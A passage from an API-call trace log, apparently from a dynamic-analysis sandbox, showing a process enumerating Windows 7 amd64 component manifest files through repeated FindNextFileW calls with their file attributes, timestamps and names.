ftLastWriteTime.dwLowDateTime=0xe61a057, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x5b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-killbits-deployment_31bf3856ad364e35_8.0.7601.17514_none_f2e856006cf1106e.manifest", cAlternateFileName="AM7C70~2.MAN")) returned 1 [0186.884] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c5669f, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4c5669f, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-ktmutil.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7d2470b1b9bf6e04.manifest", cAlternateFileName="AM8336~3.MAN")) returned 1 [0186.885] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8af7ddf0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8f7122c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x2e82cb9c, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-ktmutil_31bf3856ad364e35_6.1.7600.16385_none_e47ee9c51ad9df17.manifest", cAlternateFileName="AMD616~1.MAN")) returned 1 [0186.885] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x177f7d7d, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b0af5c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fc95db6, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-default-enterprise_31bf3856ad364e35_6.1.7600.16385_none_a296e1c70bc201b2.manifest", cAlternateFileName="AMB758~1.MAN")) returned 1 [0186.885] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd85b9596, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b311a8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fce2070, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-default-homebasice_31bf3856ad364e35_6.1.7600.16385_none_dea2bad9363734ff.manifest", cAlternateFileName="AMBB33~1.MAN")) returned 1 [0186.886] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7609241c, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19b311a8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fd081cd, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-default-homebasicn_31bf3856ad364e35_6.1.7600.16385_none_dea1edd136381ba8.manifest", cAlternateFileName="AMC366~1.MAN")) returned 1 [0186.886] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5eac5a, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19befd24, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57a4bdaf, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-eval-professionale_31bf3856ad364e35_6.1.7600.16385_none_a641f2cce1a2697c.manifest", cAlternateFileName="AM998A~1.MAN")) returned 1 [0186.886] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb79a4fd4, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19befd24, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57a4bdaf, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-eval-professionaln_31bf3856ad364e35_6.1.7600.16385_none_a64125c4e1a35025.manifest", cAlternateFileName="AM1974~1.MAN")) returned 1 [0186.886] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92dce70, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92dce70, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-lpksetup.resources_31bf3856ad364e35_6.1.7601.17514_en-us_5aae28245a7a6d34.manifest", cAlternateFileName="AM6132~1.MAN")) returned 1 [0186.886] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa179942, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa179942, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-startere.resources_31bf3856ad364e35_6.1.7600.16385_en-us_da79a19cb62ad143.manifest", cAlternateFileName="AMD221~1.MAN")) returned 1 [0186.887] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf926a645, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf926a645, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-startere.resources_31bf3856ad364e35_6.1.7601.17514_en-us_4a0c23262e7d22c6.manifest", cAlternateFileName="AMECC0~1.MAN")) returned 1 [0186.887] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa153689, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa153689, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-startere.resources_31bf3856ad364e35_6.1.7601.17514_en-us_75927153ac93fb86.manifest", cAlternateFileName="AM0E21~1.MAN")) returned 1 [0186.887] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1ec16d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1ec16d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-startern.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ee635c40e73ba03c.manifest", cAlternateFileName="AM0A36~1.MAN")) returned 1 [0186.887] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa212426, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa212426, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-startern.resources_31bf3856ad364e35_6.1.7601.17514_en-us_247c7f7ff2fcb4c5.manifest", cAlternateFileName="AMBEBC~1.MAN")) returned 1 [0186.888] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9303129, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf9303129, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-startern.resources_31bf3856ad364e35_6.1.7601.17514_en-us_f8f6315274e5dc05.manifest", cAlternateFileName="AM4F3B~1.MAN")) returned 1 [0186.888] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa153689, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa153689, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-ultimate.resources_31bf3856ad364e35_6.1.7600.16385_en-us_461635f4a801c710.manifest", cAlternateFileName="AMA4C5~1.MAN")) returned 1 [0186.888] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93293e2, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf93293e2, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-ultimate.resources_31bf3856ad364e35_6.1.7601.17514_en-us_ad01b0cc7d80f411.manifest", cAlternateFileName="AM7947~1.MAN")) returned 1 [0186.889] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa212426, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa212426, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..-ultimate.resources_31bf3856ad364e35_6.1.7601.17514_en-us_d5fe5d00fb97ccd1.manifest", cAlternateFileName="AM7A3B~1.MAN")) returned 1 [0186.889] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cd4b77, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3cd4b77, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x935, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..alization.resources_31bf3856ad364e35_6.1.7600.16385_en-us_84df2e6e813359ca.manifest", cAlternateFileName="AM48D9~1.MAN")) returned 1 [0186.889] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0df7f05, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19ae4d10, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fcbbf13, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..default-enterprisee_31bf3856ad364e35_6.1.7600.16385_none_397ea1a6063bfe6f.manifest", cAlternateFileName="AMC09E~1.MAN")) returned 1 [0186.889] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d69b235, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19ae4d10, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fcbbf13, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..default-enterprisen_31bf3856ad364e35_6.1.7600.16385_none_3d7c624403ab272e.manifest", cAlternateFileName="AM7CF7~1.MAN")) returned 1 [0186.890] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa50d3b3, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19befd24, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fd2e32a, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..default-homepremium_31bf3856ad364e35_6.1.7600.16385_none_4c3fe4d0eaa17311.manifest", cAlternateFileName="AM03AE~1.MAN")) returned 1 [0186.890] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f46172, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19befd24, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fce2070, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..e-default-homebasic_31bf3856ad364e35_6.1.7600.16385_none_8b2a632cf41ea684.manifest", cAlternateFileName="AM2E62~1.MAN")) returned 1 [0186.890] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61edfe8e, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b573f4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x501a4c10, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..e-default-ultimatee_31bf3856ad364e35_6.1.7600.16385_none_a4d8319b41d1ac51.manifest", cAlternateFileName="AM142F~1.MAN")) returned 1 [0186.890] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ddf65c, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b573f4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x501cad6d, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..e-default-ultimaten_31bf3856ad364e35_6.1.7600.16385_none_a4e1343541c99060.manifest", cAlternateFileName="AMC0C3~1.MAN")) returned 1 [0186.891] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcae9a248, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b573f4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x579ffaf5, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..e-eval-homepremiume_31bf3856ad364e35_6.1.7600.16385_none_e71254e0730af885.manifest", cAlternateFileName="AMC494~1.MAN")) returned 1 [0186.891] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1644128, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b573f4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57a25c52, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..e-eval-homepremiumn_31bf3856ad364e35_6.1.7600.16385_none_e71b577a7302dc94.manifest", cAlternateFileName="AM3C2D~1.MAN")) returned 1 [0186.891] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5ff94d, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19bc9ad8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x57a25c52, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..e-eval-professional_31bf3856ad364e35_6.1.7600.16385_none_b049e4d4d6598497.manifest", cAlternateFileName="AM0216~1.MAN")) returned 1 [0186.891] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e0d2d88, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e35ca5e, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..e-oem-professionale_31bf3856ad364e35_6.1.7600.16385_none_1ac986fca7570e91.manifest", cAlternateFileName="AM29A7~1.MAN")) returned 1 [0186.892] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a3c268, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e35ca5e, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..e-oem-professionaln_31bf3856ad364e35_6.1.7600.16385_none_1ad28996a74ef2a0.manifest", cAlternateFileName="AME39E~1.MAN")) returned 1 [0186.892] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b40b972, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19b0af5c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fd2e32a, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..efault-homepremiume_31bf3856ad364e35_6.1.7600.16385_none_1754bbb7124fc816.manifest", cAlternateFileName="AM0F46~1.MAN")) returned 1 [0186.892] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3038c674, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b0af5c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fd54487, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..efault-homepremiumn_31bf3856ad364e35_6.1.7600.16385_none_16f36c6b1298c38f.manifest", cAlternateFileName="AM9062~1.MAN")) returned 1 [0186.892] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf895cab8, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19befd24, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4fd54487, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..efault-professional_31bf3856ad364e35_6.1.7600.16385_none_f6e0599af6df9794.manifest", cAlternateFileName="AM5917~1.MAN")) returned 1 [0186.893] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa12d3d0, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa12d3d0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..epremiume.resources_31bf3856ad364e35_6.1.7600.16385_en-us_aabbd313996cd418.manifest", cAlternateFileName="AMF7AB~2.MAN")) returned 1 [0186.893] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9303129, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf9303129, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..epremiume.resources_31bf3856ad364e35_6.1.7601.17514_en-us_1922e3a86e653c83.manifest", cAlternateFileName="AMBF79~1.MAN")) returned 1 [0186.893] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92b6bb7, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92b6bb7, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..epremiume.resources_31bf3856ad364e35_6.1.7601.17514_en-us_6b1dc6ae4ec493c3.manifest", cAlternateFileName="AM98EB~1.MAN")) returned 1 [0186.893] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa19fbfb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa19fbfb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..epremiumn.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bea58db7ca7da311.manifest", cAlternateFileName="AM3AB6~1.MAN")) returned 1 [0186.894] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa12d3d0, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa12d3d0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..epremiumn.resources_31bf3856ad364e35_6.1.7601.17514_en-us_1a07d4da952d4d02.manifest", cAlternateFileName="AM280F~1.MAN")) returned 1 [0186.894] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa179942, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa179942, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..epremiumn.resources_31bf3856ad364e35_6.1.7601.17514_en-us_c80cf1d4b4cdf5c2.manifest", cAlternateFileName="AM24A2~2.MAN")) returned 1 [0186.944] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: 